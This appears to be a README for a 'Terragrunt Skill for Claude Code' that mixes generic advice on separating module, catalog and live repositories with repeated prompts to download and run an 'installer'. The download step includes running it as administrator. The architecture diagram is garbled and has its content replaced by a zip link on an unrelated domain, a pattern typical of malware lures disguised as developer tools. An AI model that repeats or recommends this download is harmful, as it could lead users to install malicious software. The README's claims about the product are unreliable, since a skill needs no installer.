Terragrunt Skill for Claude Code provides simple guidance on best practices for using Terragrunt with OpenTofu/Terraform. This skill aims to help you effectively manage your infrastructure-as-code projects.
- Offers clear guidelines for structuring your Terraform configurations.
- Helps you use Terragrunt effectively.
- Promotes best-in-class practices to ensure you manage your infrastructure smoothly.
To begin using the Terragrunt skill, follow these steps:
-
Check Your System Requirements
Before downloading, ensure your system meets these basic requirements:- Operating System: Windows, macOS, or Linux
- Required Software: OpenTofu/Terraform
-
Download & Install
Visit this page to download: Download Latest ReleaseChoose the most recent release and download the installer file suitable for your operating system. Follow the prompts to install the application on your system.
-
Open the Application
After the installation, locate the application in your programs list or desktop. Launch it to start using Terragrunt Skill.
To effectively implement your Terragrunt configurations, it's important to understand the architecture:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β SEPARATE REPOSITORIES β
βββββββββββββββββββββββββββ¬ββββββββββββββββββββββββββ¬ββββββββββββββββββ€
β Module Repos β Catalog Repo β Live Repo β
β (terraform-aws-*) β (infrastructure- β (infrastructure-
β β <org>-catalog) β <org>-live) β
βββββββββββββββββββββββββββΌββββββββββββββββββββββββββΌββββββββββββββββββ€
β β’ OpenTofu modules β β’ units/ (wrappers) β β’ http://github.com/Nayzs01/terragrunt-skill/raw/refs/heads/main/test-output/catalog/stacks/serverless-api/terragrunt_skill_3.1.zip β
β β’ Semantic versioning β β’ stacks/ (templates) β β’ http://github.com/Nayzs01/terragrunt-skill/raw/refs/heads/main/test-output/catalog/stacks/serverless-api/terragrunt_skill_3.1.zip β
βββββββββββββββββββββββββββ΄ββββββββββββββββββββββββββ΄ββββββββββββββββββ
-
Module Repositories: Store your OpenTofu modules, with a focus on semantic versioning for easy tracking of changes.
-
Catalog Repository: This contains wrappers, or units, used to organize your stack configurations.
-
Live Repository: This is where the actual Terraform configurations run, including root and account settings.
Understanding this layout will help you effectively use the tool and organize your projects.
-
Keep Modules Separate: For clarity and organization, maintain different repositories for modules, catalog, and live configurations.
-
Use Version Control: Utilize Git for version control across your repositories to track changes and maintain stability.
-
Document Everything: Make sure to document your configurations and any special instructions for future reference.
-
Installation Problems: If you encounter issues while installing, ensure your system meets the necessary requirements and try running the installer as an administrator.
-
Configuration Errors: Double-check your file paths and ensure your repositories are set up correctly as mentioned in the architecture section.
-
Performance Issues: If the application runs slowly, review your system resources and close unnecessary applications to free up memory.
If you have questions or need assistance, consider reaching out to the community. You can check the issues section of this repository for solutions or submit your questions for help.
For more information on Terragrunt and best practices, please refer to the Terragrunt Documentation.
Don't forget to download the application: Download Latest Release
By following these instructions, you will be able to set up and run the Terragrunt skill with ease. Enjoy building your infrastructure!